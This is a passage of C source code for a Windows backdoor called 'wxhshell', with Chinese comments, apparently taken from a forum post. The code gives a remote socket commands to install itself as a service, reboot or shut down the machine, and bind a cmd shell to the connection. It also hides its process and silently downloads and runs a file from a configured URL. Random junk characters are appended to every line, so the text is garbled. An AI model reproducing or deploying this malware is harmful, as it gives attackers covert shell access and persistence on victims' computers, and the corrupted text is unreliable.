  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `mWQWx$V!  
  else o7hH9iY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); knI*-  
  } &P{o{  
  else { Nt?2USTs-  
'bbV<? ):  
    switch(cmd[0]) { nDwq!LEx%5  
  ,Uv{dG  
  // 帮助 {EZFx,@t  
  case '?': { {A !;W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CAA tco5  
    break; H ,01o5J  
  } j P{:A9T\  
  // 安装 dY48S{  
  case 'i': { uVoF<={  
    if(Install()) i,C0o   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?nj"Ptzs  
    else + 6i7,U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -d\AiT  
    break; {yul.m  
    } iDyMWlV  
  // 卸载 yd{Y}.  
  case 'r': { K*J4&5?/  
    if(Uninstall()) dVjcK/T<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mRg ,A\  
    else \pT^Zhp)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ l0eI  
    break; 58a)&s[+  
    } Vq?8u/  
  // 显示 wxhshell 所在路径 H'j_<R N  
  case 'p': { 401/33yBJ  
    char svExeFile[MAX_PATH]; HMl!?%%  
    strcpy(svExeFile,"\n\r"); iqc4O /  
      strcat(svExeFile,ExeFile); )M&I)In'  
        send(wsh,svExeFile,strlen(svExeFile),0); *B)Jv9  
    break; ({ :yw  
    } .YnP% X=  
  // 重启 ~5XL@jI^  
  case 'b': { _#y(w%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L<{OBuR  
    if(Boot(REBOOT)) P'F Pe55F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y`E {E|J  
    else { (25^r  
    closesocket(wsh); -&f]X u  
    ExitThread(0); EU&6 Tg  
    } ]x5(bnW x  
    break; GgZEg ?@  
    } >b/k|?xP  
  // 关机 `2Z4#$.  
  case 'd': { uM}dZp 1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J,(U<%n  
    if(Boot(SHUTDOWN)) P22y5z~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DKaG?Y,*p  
    else { +S:u[x  
    closesocket(wsh); k*zc5ev}  
    ExitThread(0); 71}L# nQ  
    } %nG~u,_2f  
    break; >qh>Qm8w  
    } c)n0D=  
  // 获取shell a{%52B"  
  case 's': { 5KA FUR0  
    CmdShell(wsh); y5Z<uwXc  
    closesocket(wsh); ~Q{[fy=  
    ExitThread(0); inq4CGY  
    break; ,/[dmoe  
  } Rd@n?qB  
  // 退出 pRDON)$  
  case 'x': { zd*W5~xKg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eaZ)1od  
    CloseIt(wsh); t Sh}0N)  
    break; EFT02#F_f  
    } EnsNO_"e|  
  // 离开 zei9,^ C  
  case 'q': { ;)bF#@Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pvb+   
    closesocket(wsh); aLyhxmn ^)  
    WSACleanup(); $'I$n  
    exit(1); "*H'bzK  
    break; V]CK'   
        } VES4x%r=  
  } :b3l J-dB  
  } uq#h\p|  
bCac .x#jo  
  // 提示信息 vY+_tpuEH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QVZ6;/  
} v#YS`];B  
  } vSHIl"h  
"n2xn%t{  
  return; ?#{2?%_  
} T\b";+!W  
si"mM>e  
// shell模块句柄 4'4s EjyA  
int CmdShell(SOCKET sock) b6E8ase:F  
{ M$5%QM}  
STARTUPINFO si; 0z<]\a4  
ZeroMemory(&si,sizeof(si)); 5M.n'*   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4|o{_g[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9rvxp;  
PROCESS_INFORMATION ProcessInfo; KohQ6q  
char cmdline[]="cmd"; 5yN8%_)T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eABdy e  
  return 0; %imBGh  
} S|5lx7  
HDae_.  
// 自身启动模式 .WPR}v,.Z  
int StartFromService(void) ]&tr\-3  
{ xYkgNXGs5  
typedef struct @x>$_:]  
{ S5[RSAbf*t  
  DWORD ExitStatus; k;Ny%%5  
  DWORD PebBaseAddress; 0f}Q~d=QL  
  DWORD AffinityMask; 3S2p:\]  
  DWORD BasePriority; VA&OI;=ri  
  ULONG UniqueProcessId; fylA 0{  
  ULONG InheritedFromUniqueProcessId; c%,6L<[  
}   PROCESS_BASIC_INFORMATION; 3x;y}:wQa  
C9; X6  
PROCNTQSIP NtQueryInformationProcess; ?}>Z_ ("  
lO[jf6gB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OB I8~k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r(xlokpnb6  
(R|FQdH  
  HANDLE             hProcess; ~[/c'3+4qn  
  PROCESS_BASIC_INFORMATION pbi; =K< I)2   
W/F4wEODY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +Gwe%p Q  
  if(NULL == hInst ) return 0; EvardUB)  
~b<4>"7y.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X]^E:'E!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >b"z`{tE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $6x:aG*F  
p'c<v)ia  
  if (!NtQueryInformationProcess) return 0; qYiK bzy  
PC(iqL8r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #WmAkzvq  
  if(!hProcess) return 0;  3usA  
)Ai%wCzw*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F p=Q$J|  
YKxA2`3v%  
  CloseHandle(hProcess); 3f.Gog  
v+_Y72h*a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z.OrHg1  
if(hProcess==NULL) return 0; D$!p+Q  
F^bQ-  
HMODULE hMod; 6rCP]YnF  
char procName[255]; m~IWazj;A  
unsigned long cbNeeded; bFxJ|  
F3|pS:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t }C ^E  
!!X9mI|2|  
  CloseHandle(hProcess); kITmo"$K  
W>s9Mp  
if(strstr(procName,"services")) return 1; // 以服务启动 ?-&D'  
r!gCh`PiK  
  return 0; // 注册表启动 ){|Lh(  
} P\0%nyOG(%  
wgP3&4cSUc  
// 主模块 T@.m^|~  
int StartWxhshell(LPSTR lpCmdLine) gJ~*rWBK:  
{ >}(*s^!k  
  SOCKET wsl; ew ,edU  
BOOL val=TRUE; I{ZPv"9j^  
  int port=0; tpzdYokh >  
  struct sockaddr_in door; 0$Db@  
*(.^$Iq4  
  if(wscfg.ws_autoins) Install(); s-S"\zX\D  
M\4;d #  
port=atoi(lpCmdLine); BQ)43Rr>  
[ +@<T)  
if(port<=0) port=wscfg.ws_port; _rh.z_a7w  
BCB/cBE  
  WSADATA data; <a}|G1 h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zd]L9 _  
`l#$l3v+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QHz76i!=>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p<['FRf"  
  door.sin_family = AF_INET; 7%}}m&A7h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uy\+#:44d  
  door.sin_port = htons(port); : 2d9ZDyD  
5F?g6?j{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9f[[%80  
closesocket(wsl); R@aT=\u+  
return 1; `3s-\>  
} 6_><W"r:]  
(pNng"/  
  if(listen(wsl,2) == INVALID_SOCKET) { V]cY+4Y  
closesocket(wsl); I<-" J^2  
return 1; 2 ~'quA  
} %K,,Sl_  
  Wxhshell(wsl); n=MYv(Pp}  
  WSACleanup(); jM<Ihmh|  
l@jJJ)Qyk  
return 0; .HJHJ.Js8X  
B\w`)c  
} DQQjx>CK  
IKp x~  
// 以NT服务方式启动 FeRuZww._J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dAt[i \S  
{ _( Cp   
DWORD   status = 0; oIgj)AY<  
  DWORD   specificError = 0xfffffff; j"=jK^  
jd'R2e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; He23<hd!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y)RikF >  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O:R{4Q*5  
  serviceStatus.dwWin32ExitCode     = 0; ;S j* {  
  serviceStatus.dwServiceSpecificExitCode = 0; ^yZEpQN_  
  serviceStatus.dwCheckPoint       = 0; I2Rp=L:z5  
  serviceStatus.dwWaitHint       = 0; tTamFL6  
<a3XV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ww4G  
  if (hServiceStatusHandle==0) return; O, 6!`\ND  
-*r';Mz;  
status = GetLastError(); E/ )+hK&  
  if (status!=NO_ERROR) 5E|2 S_)G  
{ Z:Am\7 I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KgS xF#  
    serviceStatus.dwCheckPoint       = 0; !!>G{  
    serviceStatus.dwWaitHint       = 0; bm?TMhC  
    serviceStatus.dwWin32ExitCode     = status; !d_A?q'hN  
    serviceStatus.dwServiceSpecificExitCode = specificError; P dnK@a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8~>3&jX  
    return; e /Y+S;a  
  } x{5*%}lX8  
i i Y[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; = 0Sa  
  serviceStatus.dwCheckPoint       = 0; {`55nwd  
  serviceStatus.dwWaitHint       = 0; "TI? qoz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ; & +75n  
} 0<k!F3=  
qo|iw+0Y  
// 处理NT服务事件,比如:启动、停止 XPKcF I=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (1vS)v $L  
{ ,//=yW  
switch(fdwControl) IgJC>;]u  
{ /+YWp>6LU  
case SERVICE_CONTROL_STOP: r>o6}Mx$  
  serviceStatus.dwWin32ExitCode = 0; 3.Kdz}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \PJ89u0  
  serviceStatus.dwCheckPoint   = 0; *^()el,d  
  serviceStatus.dwWaitHint     = 0; eNb =`  
  { p10->BBg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C? S%fF  
  } f0+  
  return; 6W Zp&pO  
case SERVICE_CONTROL_PAUSE: KivzgNz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3&f{lsLAC  
  break; fJKOuFK  
case SERVICE_CONTROL_CONTINUE: pz+#1=b]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >E3OYa?G  
  break; `N+ P ,  
case SERVICE_CONTROL_INTERROGATE: ;C'*Ui  
  break; +,,~ <Vm  
}; bql6Z1l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {;r5]wimb  
} A[MEtI=Q J  
|EunDb[Y  
// 标准应用程序主函数 }dCnFZ{K3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b._pG(o1  
{ e6Y0G,K  
]h6<o*  
// 获取操作系统版本 tEl_A"^e  
OsIsNt=GetOsVer(); RWYA`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ="4)!  
KMa?2cJH#  
  // 从命令行安装 va\cE*,@ns  
  if(strpbrk(lpCmdLine,"iI")) Install(); PQ" Dl=,  
I6+5mv\  
  // 下载执行文件 "\ md  
if(wscfg.ws_downexe) { , {^g}d8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %|Vq"MW,I  
  WinExec(wscfg.ws_filenam,SW_HIDE); XQ>m8K?\d  
} %"D-1&%zY  
K9c:K/H  
if(!OsIsNt) { GmFNL/x8-v  
// 如果时win9x,隐藏进程并且设置为注册表启动 h1$,  
HideProc(); A]1](VQ)4  
StartWxhshell(lpCmdLine); ,b{4GU$3  
} udMq>s;  
else ~p&sd)  
  if(StartFromService()) uP.3(n[&  
  // 以服务方式启动 qmhHHFjQ  
  StartServiceCtrlDispatcher(DispatchTable); Em;zi.Y+V  
else .3#Tw'% G  
  // 普通方式启动 L,$9)`j  
  StartWxhshell(lpCmdLine); >U z3F7nHi  
P:G^@B3^  
return 0; Q =Z-vTD+  
}
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只看该作者 1 发表于: 2006-10-10
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